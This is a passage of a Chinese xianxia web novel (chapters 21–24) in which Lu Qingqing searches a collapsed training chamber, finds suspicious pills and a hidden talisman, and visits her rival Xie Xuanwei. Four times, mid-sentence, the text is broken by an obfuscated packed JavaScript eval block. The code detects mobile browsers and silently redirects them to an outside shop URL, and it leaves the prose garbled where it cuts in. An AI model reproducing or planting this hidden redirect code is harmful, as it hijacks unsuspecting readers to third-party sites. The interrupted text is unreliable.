她眼波微转间,霎时便想好了一套完美无缺的说辞:“不必劳烦师姐,我……我无事。我只是随着鸟鸣之声,来到了此处,那鸟雀啼声婉转美妙,我欲寻到它,瞧瞧它的模样,不想这石室忽然崩裂,一时受惊失足,才跌倒在此。” 末了,她佯装关切道:“方才发生了什么?师姐没事吧?” 陆青青:你最好有事。 谢玄微并未回应,眸光在少女身上轻扫而过。 少女瑟缩坐于水潭边,明润的双瞳睁大了,专注的目光定定然落在她面上,眉头微蹙着,似是十分担忧她的安危,却浑然不知自身的可怜模样。 发丝湿黏地贴在颊边,唇色微微泛着淡淡胭脂粉。 衣衫已然湿淋淋的,紧贴在身上。湿透的衣衫之下,那身形玲珑曼妙,如三月春柳,青黄嫩绿,美不胜收。若是教旁人看了,定会萌生邪念。 她指尖微动,不顾丹田处的剧痛,强行催动灵力,捻出一个诀来,将那衣衫中的水气逼出。 水珠腾空而起,转瞬又洋洋洒落于水潭之中,宛如一阵春日急雨。 陆青青:? 这女人在做什么? 不待她发问,谢玄微已然抱琴而去,身形飘飘,转瞬便消失不见。 陆青青只觉莫名其妙,站起身来细思一阵,仍是一头雾水,实在想不通那女人在搞什么鬼。 先是将她震飞出去,而后又突然吐血,最后又替她烘干衣衫,这一连串行止,简直七扭八弯百转千回。 再看那石室,如今已只剩断壁残垣,倒也不用她费心破坏了,不过——不知里头有没有什么天材地宝呢? 要是能寻到一些,倒也可稍稍弥补一下她今日所受之苦了。这可不是趁乱偷盗,而是那女人本来就欠她许多,又不肯向她赔礼道歉,那她只能自己去拿点儿利息了。 陆青青梅开二度,给那灵力震落在地,如今腿伤又加重了,只能拖着伤腿,一瘸一拐地在碎石间搜寻。 谁成想,还真给她捡着了。 她拨开一片杂乱的布片,拾起一只素白瓷瓶。 看这瓷瓶价值不菲,可知其中定是装了上好的丹药。 拔出瓶塞,便闻一阵幽幽异香散逸而出,内里,确是偎着几枚丹药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537250|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陆青青将它们倒在掌中,看了一看,微觉疑惑。 在丹道课上,座师曾说过,丹药无味,方是上品。这丹药却香味浓郁。其次,它色泽也与寻常丹药不同,带着一点儿猩红血色,在日光下细看,还有些细密纹路附着其间。 这究竟是何丹药啊? 不管了,先揣进怀里。 她继续摸索,忽见碎石之下,一点明黄之色飘飘而动。小心地搬开石块,才发现那是一张卷曲的符帖,露出一点明黄在外。 打开来细看,却是一张清心符。 清心符是修士们静修时常用的符箓,为的是清除杂念,快速进入静修状态。这符箓画法并不难,陆青青都会,算不上什么宝贝。 陆青青正待丢掉,想了想,还是收起来好了,毕竟画符需用灵力,她现下灵力不足,能白得一张符帖也不错。她弹了弹符帖边缘,震落上面的灰尘,忽觉手感不似寻常符帖那般轻。好奇之下,便将它举起来,对着日头细看。 一下之下,竟给她看出了端倪。 这张符帖乍一看和清心符一模一样,可笔画纹路之下,隐隐还藏有另一些杂乱笔迹。 怪不得手感不对,这符帖下面还藏着一张符!两张符帖叠在一处,自然没那么轻飘飘。 陆青青微一思索,便想通了其中关窍。 这符帖并非谢玄微所书,而是有人事先做了手脚,偷偷藏在这石室缝隙中。如此这般费心思,其用意,用脚趾头想想也知绝非善意。今日这场祸事,想必就是因此而起。 这原本与她无关,有人要费尽心思陷害谢玄微,她乐都还来不及呢,可那人却害她也莫名其妙地遭了殃。 真是可恨。 不知那藏起来的符帖是什么符,她正待细细再看,忽听不远处的竹林那边传来一阵脚步之声。 陆青青轻挥衣袖,急待藏好这符帖,却觉手中一空,符帖已径自燃尽而散了。 她心念微转,不动声色。 符帖受书写它的修士控制,定是来人察觉事情泄漏,匆忙毁灭了证据。 那么,那人定也察觉到了,她的存在。 竹林簌簌而动,像是有风吹过。 可此时,分明无风。水潭如镜,一点涟漪也未起。那只白鹤去而复返,正孑然临水而立,轻轻梳理羽毛,姿态悠然闲适。 四下亦是一派静谧安然。可陆青青分明能感觉到,有一道人影藏在竹林之后,阴沉沉的目光定定朝向这边,兴许他手中已凝聚了灵力,要将她杀人灭口呢。 她眼下灵力不足,需得尽快离了这是非之地才好。 少女面上露出喜色,对着前方喊道:“谢师姐!我这便来。倒没寻着那帕子,下回教杂役来寻好了。” 一面说着,一面提起裙摆,踏上一片弯弯曲曲的游廊,微跛着一足,轻快地去远了。 竹林之后,石一陀目光湿冷如蛇,缓缓地合拢了手掌。 22. 第 22 章 陆青青疾步行了一刻,见身后并无人跟来,这才放慢了步子。 那人如此小心周全地陷害谢玄微,必定畏惧她的名头,是以她方才唤了声谢师姐,为的就是教这人以为,谢玄微也在近旁。 不过,究竟那人是谁呢?会是那个下毒害她的人么?如果是,那人竟然想害她这个无辜路人,真是可恨;如果不是,那就有得好戏看了。 暗自思忖片刻,她从怀中取出那只捡来的瓷瓶。 这瓶内丹药不似寻常,会不会也是有人放在此处,要毒害谢玄微的? 可别毒到她这个无辜小师妹才好。 不如便去拜访一番谢玄微,假意关心,探一探这丹药来历,顺便仔细瞧瞧那女人给害成什么样子了。 人做坏事的时候总是精力无穷,不怕苦不怕累。陆青青也是如此,虽给梅开二度,加重了腿伤,又险些给杀人灭口,此时却仍是风采奕奕,神威不减,精气神十足。 坏主意一定,便不由分说,一瘸一拐地寻谢玄微住处去了。 * 内门弟子和外门不同,人人皆有独立居所,虽只是寻常木屋,从外望去朴素简约,平平无奇,可那木料绝非凡材,皆是经年吸纳山灵之气的千年云杉、凝霜古柏。 普通内门弟子的居处尚且如此,谢玄微这种亲传弟子,自然更不必说了。 陆青青虽不曾去拜访过她,也不知路径,奈何孤峰之上,那座遗世独立的华丽殿宇实在是太显眼了。她只寻摸了半圈,就瞧见了。 寻常内门弟子皆是散落居于几座山峰之上,独独这谢玄微独居于一峰,住处还建得如此华丽招摇! 她在心里腹诽了一万遍“世道不公”,才慢慢踱步过去。 走近了,在那殿宇门上看了看,果然瞧见个“谢”字。此处便是谢玄微的居所了,四下草木葳蕤,鸾鸟白鹤栖息其间,更有灵草芝兰,清幽雅致。 她上前叩动门环,面上也现出一点关切备至的模样来,只等着门一开,便把想好的台词演说一番。 谁成想,门开之后,却现出一张鸡皮鹤发的面孔,竟是个老婆婆。 那老婆婆一见她,便怔住了,眼底闪过一丝讶然。 陆青青心中的惊讶一点也不比她少,不过她一向伶俐乖觉,立时便随机应变地改换了台词,先是自报身份,又说明来意,言语倒也恭敬有加。 那老婆婆听后,自称是谢玄微从家中带来的仆人,照料她日常起居的。 又道:“小姐此时不在殿内,我一介老仆,做不得主,恕不能开门招待小修士,还请小修士留下名姓,待小姐归来,我自会向小姐禀报。” 那老婆婆说话时,满面春风,温和慈爱,陆青青恨屋及乌,却觉她老谋深算,言语絮叨,实在讨厌得很。 谁修仙还要带个仆人来啊?又不是残废了不能自理。这是摆的什么架子?有那些辛辛苦苦的杂役弟子照料还不够,还要在身边安置个啰啰嗦嗦的老妈子。 陆青青虽如此腹诽,面上依然微微笑道:“不劳烦婆婆了,既然师姐不在,那我便暂且告辞,改日再来拜访。” 那老婆婆轻轻点了点头,重又上上下下细打量了她一番,这才将门阖上。 陆青青既没寻到人,也不知这老婆婆话里真假,自然不甘心半途而废,遂并未急于离开,只是慢吞吞地挪着步子,环顾四周,想寻个什么物什来搞破坏,发泄一番今日受谢玄微作弄之恨。 倒霉出气包还未寻到,余光冷不丁瞥见一抹白色身影。 可是谢玄微回来了?是了,她先前应受了伤,定是先寻医修疗伤去了,故而才落在自己后头。要么,就是她中途昏倒了,许久才醒转过来。 无论哪一种可能,都教陆青青心花怒放。 不过陆青青毕竟是陆青青,大风大浪见识过了,深知那谢玄微的阴险狡诈。虽然眼见这宿敌已如此倒霉落魄了,她也没掉以轻心,脚步轻挪至一丛蓬草之后,小心地矮下身来,隐了身形。 目光透过那蓬草罅隙,悄悄盯着那身影。 只见那白衣翩翩的女子怀抱素琴,脚步踉跄,行至殿门前,抬手轻挥,便有一阵铃铛之声响起,接着殿门开了,先前那老婆婆从内疾步而出,一把托住她臂弯,焦急道:“小姐可是又发作了?我去取药!” 谢玄微轻轻推开她的手,低声说了句什么,可惜距离太远,陆青青听不分明。 接着便见那谢玄微身子前倾,踉跄跌入门内,老婆婆急急地弯腰去扶她。 之后,门便忽的阖上了。 陆青青只恨自己没能练就穿墙之眼。好戏只看了个开头,幕帘便给拉上了。 她只好暂且盘腿端坐,细细琢磨自己看到的这点残戏,尤其是老婆婆说的那两句话。 究竟是什么又发作了?谢玄微有病么?外表倒看不出来啊。 踏入修仙途之人,日夜受灵气滋养,本该身轻少病才是。便是旧日有痼疾的,也会因灵气运转,而渐渐的痊愈,更何况谢玄微那般身带双灵根的。除非是灵体先天不足,可先天不足,也修不成金丹啊。 陆青青想不明白,又摸出那个捡来的白瓷瓶,托在掌中细看。 这个瓷瓶里装的,应当是药了,是什么药呢? * 素净绝尘的居室内,不见繁冗雕饰,只在板壁间悬一幅淡墨云山古卷,清寒悠远。 室中引一脉山泉活水,穿阶绕石,汇入一方青石凿就的浅池,泉水漫过青玉池沿,泠泠水声低徊不绝。 水池四围轻纱微荡,撩起轻纱,便可瞧见内里的人影。 谢玄微半身仰靠于池中,冰凉池水浸至胸口,素白衣衫尽数湿透,紧贴着曼妙身形,衣料濡湿沉坠,层层黏覆,勾勒出一点纤秾有致的轮廓。 曾经一丝不乱的墨发,如今散落在池水中,更有一缕缕湿发黏在苍白的颈侧和肩头,滴滴水珠顺着清秀锁骨不住滚落。 她脊背绷得笔直,却难掩浑身的颤栗,肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537251|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头隐忍轻颤。清冷如寒月的眉眼被一层染水的长睫掩埋,翻涌的痛楚却还是自眼角一点点溢出。 可即便如此苦痛,她却一声也不出,咬着唇瓣,硬生生将喉间欲溢的痛吟尽数咽下。 陆青青若是练就了穿墙之眼,瞧见了这般景致,定会觉得十分眼熟。 便是在崖洞那一夜,她便见过了。 良久,池水哗啦一声轻响,白衣的人影上了岸,水珠轻落,轻纱微拂,谢玄微默默走出,衣饰整洁,脸容微冷,依旧如孤月高悬,清冷绝俗。 她行至室门前,微一抬手,门便开了。 门后候着的老婆婆迎上来,往她脸上瞧了瞧,似是放下心来般,叹了口气,道:“小姐这病症,发作得是越来越频繁了,这月发作了几回?” 谢玄微不语,行至矮几前,端起茶盏,轻啜一口。 那老婆婆又赶上来道:“这病是胎里带来的,真是难缠,教小姐受苦了。也是我这老婆子忘事,前日家主传了信来,随信附了新丹丸,言说小姐这病症,年岁越长,便越是难过,需得加倍服药才可压制。另请小姐放心,这丹丸于修炼无碍,反可相助小姐进阶。” 说着,便双手递了一封信并一只白瓷瓶,置于矮几之上。 谢玄微侧目而视,拾起信,指尖轻蓄一点灵力微光,信中所述之言,便浮空而起—— “爱女玄微:闻得你境界大涨,已得金丹,父心甚慰,忆及你幼时立志,言说誓要修得大成,为父及妹疗伤,如今玄宁——” 字迹倏然消逝,谢玄微缓缓合拢掌心,再摊开时,信纸已然成灰。 老婆婆以为她读完了信,开口便将陆青青来访之事说了。 “今日小姐归来之前,有一位小修士来访,是个容貌甚美的小女娃,瞧着不过十六七岁,生得很是伶俐。” 谢玄微动作一滞。 老婆婆续道:“她未说名姓,只说改日再来,倒似是不死心。我知小姐一向不喜人叨扰,下回来了,我便仍推说你不在罢了。” 见谢玄微垂眸不语,她似是想起来什么般:“也是奇了,我初见她第一眼,只以为是小小姐来了,世上竟有眉目这般相像之人,虽则小小姐去时才——” 谢玄微打断了她:“魏嬷嬷辛苦了。” 闻言,魏嬷嬷住嘴不说了。 她算是从小便养育谢玄微的乳母了,知晓谢玄微的性子,自然也知晓她的隐秘心事。 既然不可提,那便是说,这心事依然挂怀于心,难以解脱,那她也不必再多说什么。 正待离开,忽听身后谢玄微道:“那修士是我同门师妹,师尊嘱托我点拨她道法。下回她再来,你便请她入内。” 魏嬷嬷听得此言,诧异不已,回身端详了一番谢玄微神色,见她只是垂眸饮茶,面上似无波无澜,正待开口相询,忽闻一阵空灵的铃铛轻响,接着,便是轻巧的叩门之声。 “请她进来。”谢玄微放下茶盏,对魏嬷嬷道。 23. 第 23 章 陆青青思来想去,总是不肯死心。 窥破了一半的秘密总是最挠人心,好戏开了个头却不能亲眼看到尾,最教人辗转反侧。 就这么着,在百爪挠心之下,陆青青再度叩响了谢玄微的殿门。 轻叩一下之后,她的手还未落下,门便开了。 门后,仍是那位老婆婆的脸,这回,老婆婆面上不曾带笑,却请她进了门。 “小修士这边请。”老婆婆伸手为她带路,似是将她当作了贵客,极为恭敬,余光瞧见了她的跛足,却也并未停留。 可陆青青才顾不上留意这些,她一路慢吞吞的,作势以手背抚面颊,趁机东张西望,窥看这殿内的陈设,心里自然是一百个愤慨不平。 凭什么同是内门弟子,这谢玄微却能居于如此奢华之所?天道不公也便罢了,这清音宗上下,也这般不公正,区别对待么? 那老婆婆许是看出了她有意慢步,笑着往一处拱廊指引道:“小姐在茶室相候。” 陆青青面上含笑不语,朝她微一点头,抬步进了那拱廊。 拱廊下,一扇小门微阖,陆青青推开门,便见到了端坐于矮几前的谢玄微。 她一袭素洁白衣,气度冷然,面色淡淡,正是平日里那副高高在上的模样,哪里有半分凄惨受苦之态? 陆青青按下心中千般疑惑万般失望,眼底浮出几分喜色,唤她道:“师姐。” 谢玄微素手一引,引她坐于对面。 两人之间,仅隔着一方矮几,相对而坐。 “师妹寻我何事?”谢玄微轻声道。 陆青青将早已备好的说辞和盘托出:“今日早些时候,我在修炼室外偶遇师姐时,深觉师姐神情不对,那石室崩裂,可曾伤着师姐?当时我不敢相问,可心下兀自挂念,便寻了师姐居所,前来拜访。师姐可曾受伤么?” 一番言语下来,她面露忧色,显得十分关切。 陆青青的确关切得很,她迫不及待想知晓一件事,谢玄微究竟是发作了什么病。 是天生有病,是被人陷害,或是两者皆有呢? 方才在外时,她翻来覆去,将过往旧事同今日之事来回细思,还真寻到了一点蛛丝马迹。 今日,谢玄微将修炼室四分五裂的威力,分明同三年前,在青云台上觉醒双灵根时一般无二。不久之前的破境,亦是将思过崖那崖洞都摧毁了,更久之前,初入门测灵根时,测灵石也是这么被她震裂了。 陆青青之所以对这桩桩件件记忆犹新,全因这些事发生之日,就是她这个无辜小师妹的倒霉之日,不止是记忆犹新,可以说都刻骨铭心了。 反复推测之后,陆青青终于理出一个头绪来—— 莫非如此种种,皆同谢玄微的病有关?原来她不是什么天纵奇才,而是……有病? 若果真如此,那她这个神勇无双,双眼如炬,聪慧又正直的小师妹,为了清音宗上下不被蒙蔽,也为了旁人不再受害,不得不三入虎穴,一探究竟,而后再将此事昭告天下,传扬进每个弟子的耳朵里。 连如何传扬的词儿,她都事先想好了。 “你们崇敬仰慕的谢师姐,可不是天生奇才,而是因为身有怪病,才显得那么威武啊!其实她不过是个有病难治的病秧子小可怜,你们千万不要再高看她了!她其实经常要受常人不能忍之苦痛,大家可怜她可以,但千万千万不能再叫她大师姐了,她已经背负不起你们的众望了啊!” 这个众望,就由她陆青青来背负好了,她这个善良英勇的小师妹,甘愿为宗门同修受苦受累! 谢玄微凝眸,望着咫尺相隔的少女。 看久了,少女的眉眼,其实同记忆中的那双眼,是全然不同的。这双杏眼格外灵动,眼波流转间,自然流露出天真无邪的娇媚来。 娇媚和天真,本是不相干的,可偏偏在少女面上,是如此的自然而然,教人心旌微微摇曳。 半晌,她开口道:“我无事,师妹不必挂怀。” 闻言,陆青青难掩失望之色,只好垂眸作态,以手背轻抚面颊,以此掩饰神态,同时思量该以何言语来套出对方的真心话来。 过了一时,她抬眼,情真意切道:“师姐,我有时常有不解,师姐这般人人敬慕的人物,会否有辗转痛苦,却难以言明的心事?” 谢玄微为她斟茶的手微微一顿,道:“有。” “是什么啊?”陆青青一脸天真,“我并非意欲窥探,只是……只是想为师姐分忧解难,教师姐不再身受痛苦。” 没错没错,被所有人敬慕追捧谄媚奉承的痛苦,就由她陆青青来受好了。她真的不介意以身相代。 谢玄微不答,只是眸光停在她脸上,少顷,复又垂下,长睫轻轻掩下眸中幽暗,修洁手指轻按茶杯沿,推向对坐的陆青青。 陆青青心想:这女人这么看自己,却不肯开口,定是又在盘算什么阴谋诡计了。 又回想起陆青辞。陆青辞倒也经常会这么盯着她看,答话又敷衍应付。可她觉得,陆青辞只是一贯的散漫孤傲,万事万物都不放在心上,故而懒言少语罢了。 这女人就不同了,总是一副心怀鬼胎,阴沉虚伪的模样,似乎暗藏着什么不可告人的秘密,不屑或者不愿告知于她。 腹诽过后,陆青青瞧了瞧那杯茶,薄胎白瓷茶盏中,茶色清淡,茶香袅袅。 她上蹿下跳忙活了这大半日,只误喝了几口水潭里的水,此时倒确有些口渴,便要举杯就饮,微一转念,又怕对方下了泻药毒害自己,只待谢玄微自斟自饮了一口后,才默默饮了小半杯。 清茶入口,淡淡冷香,同谢玄微身上萦绕的香气大有相似之处。 陆青青解了渴,见对方仍是默默饮茶,不肯老实作答,心念一动,从怀中取出在已成乱石碎瓦的修炼室中捡到的白瓷瓶。 “师姐离去后,我在一旁寻那鸟雀儿,偶然拾到了这个。”她将这白瓷瓶放于矮几之上,一面看谢玄微神色,一面小心翼翼道,“不知这是否正是令师姐辗转痛苦之物?” 见谢玄微一言不发,只是又用那种幽微目光注视着自己,陆青青暗自回思了一番自身话语中的破绽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537252|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续道:“不瞒师姐,其实师姐走后,还生了一事。有个人影鬼鬼祟祟的,在碎石中逡巡了一圈,便急匆匆离去了。我偶然瞥见,生怕他是偷放了恶咒符帖,要对师姐不利,故而才在碎石中寻摸了一回,并非要窥探师姐私隐。” 谢玄微依然默不作声,陆青青只好一面作出善解人意之态,一面往下说道:“师姐若是心中有苦痛之事,尽管同我说好了,我万万不会对外人言说的。上回崖洞内师姐破境之事,我也从未对人提及呢。” 她当然从未提及,不过不是守信重诺,而是苦于无人问起,不曾寻到言说的时机。 “我生来便身带热症,发作之时,五内如焚,这只白瓷瓶内,便是我所服之药。崖洞那日之事,亦是我热症发作并破境渡劫引发的。”谢玄微轻描淡写道。 陆青青:?这对吗? 她还存了一大篇晓之以情动之以理的微言大义,万万没料到对方会这么快和盘托出,一时竟不知作何反应。 谢玄微默然看着对坐的少女。 只见少女眼中微现茫然之色,柔软濡湿的唇瓣也微微张开了。 抚在茶盏上的手,忍不住摩挲了一下杯沿。 心底那条蛇,又在蠢蠢欲动了。 少女轻灵的声音仍在响—— “师姐,这……这病症便医不好么?师姐境界这般高深,还要受病症折磨,如此痛苦,真是太……太教我难过了。” 这般说着,还抬手抚面,似乎要落泪哭泣了。 她低低开口道:“无妨,我已习以为常,不必为我忧心。” 陆青青以手背虚虚抚了抚面颊,转而愤愤不平道:“师姐都这般可怜了,可偏有那许多恶毒小人,还想着陷害呢,师姐,今日你去后,有人在你修炼室近处徘徊,似乎拿了一页古怪符帖,我竟也看不懂,不知是何种害人恶咒,师姐日后可要当心呢。” 得知对方确实身带病症后,她已然心花怒放,哪里愤慨得起来啊。这般言语本是为了试探,想瞧瞧谢玄微是否知晓同门中有人要害她,知晓后,又会不会震怒爆发。谁知谢玄微听了,只是不冷不热地说了句“多谢师妹挂心”,仿佛全然不在意一般。 哼,又在装模作样了吧。 陆青青不禁暗自得意,只觉自己明察秋毫,乃是仙门第一大神探是也,轻轻巧巧便教这女人招供了身带病症的事实,还瞧出了她装模作样的本色。 她曾经听茶馆里的说书人讲过一位神探的故事。传说那神探天生不凡,黑乎乎的脑门正中长了个月牙,极擅破解谜案,百姓都唤他“青天大老爷”。当时她小小的心里还有些敬畏,此时想来也不过如此。 若是她纡尊降贵去了凡间断案,还有那脑门长月牙的黑老头什么事儿啊,人心迷案,疑难杂事,她陆青青只需半日,便可统统拿下! 暗自得意洋洋了片刻,忽瞥见对方大袖中,露出一点儿黑尾,陆青青恍然记起了那条被夺走的黑蛇。 她转换了话头,说道:“师姐,那条小蛇还好么?它曾有恩于我,我总想着它呢。教我摸一摸它好么?” 24. 第 24 章 谢玄微不语,只轻一抬袖,一条黑蛇便自她袖中轻盈爬出,蛇身直立起来,蛇类特有的竖瞳紧盯着陆青青。 对上那幽冷竖瞳,陆青青冷不丁回想起宗门大比那日的幻境,心道:好哇,这臭蛇果然跟谢玄微一样坏,待我夺回它之后,定要狠狠教训它一番,教它认清楚,谁才是主人! 她一边想,一边微笑伸手,轻抚小蛇的头颅。 那小蛇起初温顺乖巧,伏在原地任由她摩挲亲昵,丝毫没有抗拒之意。可不过数息光景,它身形骤然一颤,蛇身瞬息暴涨数倍,倏地缠上她的手腕,紧接着使一招摇头摆尾,庞大蛇躯顺势盘旋而上,转眼便将她上半身牢牢缠缚,裹得密不透风。 情势突变,陆青青来不及防卫,惊慌道:“师姐!救——” 她本欲说“师姐救我”,可话到嘴边,却停住了。 眼前这蛇分明并无加害之意,只是不急不缓,一圈圈缠绕住她的上半身。蛇头低低悬在她颊边,缓缓逡巡游走,带着几分试探,几分亲昵。 蛇身本该是极冷极寒,可此时,她却觉那蛇身温热,温润暖意透过衣料漫上来,宛若女子柔软熨帖的掌心,还悄然漫出一缕熟悉的冷香。 她怔怔然看向谢玄微。 是这女人在作弄她吗? 这时,门扉轻响,外间一个婆婆的声音道:“小姐,该添茶了。” 谢玄微识海微动,不动声色地唤回了缠在陆青青身上的蛇。 魏嬷嬷入内,端来新茶,借着为陆青青斟茶的功夫,不动声色地在她脸上打量一番,而后便退出了。 茶添得几乎要满溢而出,意下是在赶客。可陆青青才顾不上理会这些暗示。她刚挣脱了束缚,蛇口逃生,心中却仍惶惑,强笑着向谢玄微道:“师姐,这蛇是在同我玩耍么?” 谢玄微抬眸看她,微一颔首。 方才蛇的异动,是她忽然生出了异念——想将那身子揽入怀里,轻轻抚.弄。 这黑蛇名为玄渊灵蛟,认主之后,会与主人心意相通。 若说这是玩耍,似乎也并非不可。 陆青青不知她心下所思,只勉强笑了笑,心中大骂那臭蛇和坏女人一个德行,此地真不宜久留。 不过她神勇超凡,可不是怕了这女人和她的臭蛇,而是今日她来此间的目的已达成,留在这儿也无甚意味。 遂起身道了别。 “师姐,我忽想起,我还有功法要修习,不能同它尽情玩耍呢。眼下便不打搅了,下回再来拜访师姐。” 谢玄微并未挽留,教魏嬷嬷送了她出去,自己仍端坐于茶室内,目光凝落于少女饮过的那杯茶盏。 她指尖微动,那茶盏便被她拢在了手心,指腹摩挲着那一点唇瓣留下的湿痕,良久,她端起茶盏,慢慢饮尽了。 少女清甜的气息和着茶水一同入口,甘甜中别有一番清美滋味,暂解了五内燥热。 可放下茶盏之后,却愈加焦渴了。 刚刚过去的热症,似乎又要发作了。 茶室门扉无风自开,白衣的女子从内步出,行至居室。 轻纱微拂,池水轻漾。 谢玄微半身仰靠于池壁上,琉璃般澄明的眼眸如今暗沉如深渊,静静地望着虚空。 身上的痛苦总有解药,心底的渴求与辗转挣扎,却不知何时才得解脱。 “我想着为师姐分忧解难呢。”朦胧中,少女软软地道,面颊也轻轻地贴近了她。 绵绵情意,无尽绮念,在昏暗的室内悄然滋生蔓延。 * 陆青青自从侦破谢玄微病症之谜后,整日间顾盼自雄,得意非凡,又在同门间寻寻觅觅,一寻到眼生的修士,便见缝插针地大肆宣扬自己的英勇和谢玄微的病弱,可几番下来,她口干舌燥,喉咙冒火,对方却总是满脸狐疑,不肯相信她的只言片语。 饶是心性坚韧不凡如陆青青,也不禁陷入了深深的迷思:莫非这些同门修士尽是些蠢瓜笨牛,不信她的真话,却偏要她说谎么? 这世道,竟要逼迫她这个正直善良的小师妹,往江湖骗子的路上走了吗? 不行,她偏不教那些人得逞,偏要矢志不渝地坚守道心,讲述真相。 虽然这天下之人尽皆不公不正,教她失望至极,可她偏要坚韧地守着自己的纯善之道。 再说了,真相重复一百遍,总会有一个人相信的吧。这些同门中,定有一个心智尚存、未被谢玄微蒙蔽的人。她要好好寻觅。 功夫不负有心人,两日后,还真给她寻到一个。且还是个主动送上门的便宜师兄。 “宋师兄。” 宋时安开门见山,自称是执法堂长老的亲传弟子,平日便时常助长老料理些宗门杂务,此次来寻,是向她询问那玄渊灵蛟之事。 “师妹同谢师妹同乘那灵蛟而来,想必也知晓一二。此物乃上古灵兽,现世时,天下或有祸乱,或有大能出世,不可等闲视之啊。关于它现身时的异象,师妹有了解的,尽可与我说,我汇集整理后,便要向天衍处问卜吉凶。”宋时安摇着折扇,娓娓道来。 玄渊灵蛟?陆青青初闻这蛇的名字,心里暗暗翻了个白眼。 什么玄渊灵蛟,明明就是条会化形的臭蛇罢了! 不过她细细听完了宋时安所言后,也敏锐地察觉到了,这是个出卖谢玄微的大好时机。毕竟那臭蛇的现身,和谢玄微脱不开干系,这宋时安不去问谢玄微,却来相询于她,定是心智尚存,未受那女人蒙蔽,不信其言语,才要找她这个正直师妹来佐证。 当即毫不犹豫,把谢玄微卖了个干净,还拐弯抹角,要引话头到惩处谢玄微身上。 顶好教那女人好好受一顿罚才好,也可报自己被她和臭蛇联手欺负的仇怨。 宋时安听了她一番慷慨陈词,面容呆滞,眉头紧锁。 “邪症?邪魔外道?你说的这个人,是谢玄微谢师妹么?” 陆青青道:“是啊,我说得不够清楚么?谢师姐当时浑身邪气,还派那臭——玄渊灵蛟将我禁锢束缚,绝不似寻常破境渡劫,定是她邪症发作了,又修习了什么邪门功法,才致如此。” 宋时安思索一阵,笑道:“师妹应当是看错了,谢师妹出身名门,自有家传清净道法,十三岁入清音宗后,又修习宗门正统心法,断不会是什么邪魔外道。不过这禁锢束缚——是何意啊?”最末一句,宋时安问得颇为小心翼翼。 应该不会是他想的那个意思吧? 陆青青听他说话,一早已不耐烦了。什么出身名门?她最讨厌这些人动不动就把出身挂在嘴上。难道出身名门,就个个是大好人么?远的不说,近处那谢玄微,就是顶坏的一个。 “就是——” 陆青青看他神情认真,满脸期待,忽然转了念:这人一口一个谢师妹,还把谢玄微夸上了天,知晓其出身底细,两人应有些往来。看来此人绝非她要寻觅的开智之人。 可别中了他的圈套,给他套出话来了。 她莞尔一笑,道:“约莫是我想岔了,宋师兄不必在意。” 宋时安毕竟是个穿越来的非直女,天生便对女子有好感。此时见她笑容妩媚娇俏,心下似给猫儿尾巴轻拂了一下,微有些飘飘然。呆了一呆,回过神来,忙展开折扇掩饰,连连摆手道:“不妨不妨,师妹已帮了我许多。” 陆青青看他一本正经的古板模样,哦了一声,玩笑道:“我从来不白白助人,你可有何物要谢我的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凡世间流传的话本,皆是讲天生不凡却至纯至善的英雄豪杰,于微末之时备受冷遇却坚守本心,时运一至冲天而起,凭借自身本事力挽狂澜,救万民于水火,而后,再挥袖洒然而去,徒留一个高深莫测的背影和一箩筐传说。 陆青青幼时在茶馆里偷偷听说书先生讲的,皆是此类传奇。每回听到英雄豪杰如天神下凡般,轻而易举打倒作乱的恶人,一面将恶人踩在脚下,一面巍然而立,受众人仰慕崇敬之时,她都会心潮澎湃,神往不已。暗想待自己有了大本领,必得也要如此出尽风头才算不枉此生。 这个叫月河的却偏偏要写一个恶毒之人的故事,还妄自加了她陆青青的名讳,把她说成是恶毒小师妹,哼,这不止是颠倒黑白,还擅自败坏她名声,虽只是同名,却也实在可恶! 这下轮到宋时安满头问号了。 “颠倒黑白?可你还未看——” 这还用看吗?如此编排她陆青青,将她这至纯至善之人的名讳,强加到某个恶毒师妹头上,不是颠倒黑白是什么?难怪没有人买来看。还误惹冷艳师姐,虽不知是何意,但一听就不是什么正经词儿! 再看这宋时安,装得一本正经,书生气凛然,私底下却偷看这等道德败坏的话本,果然和那谢玄微是一丘之貉。 她将那书册丢还给他,转身便要离去。 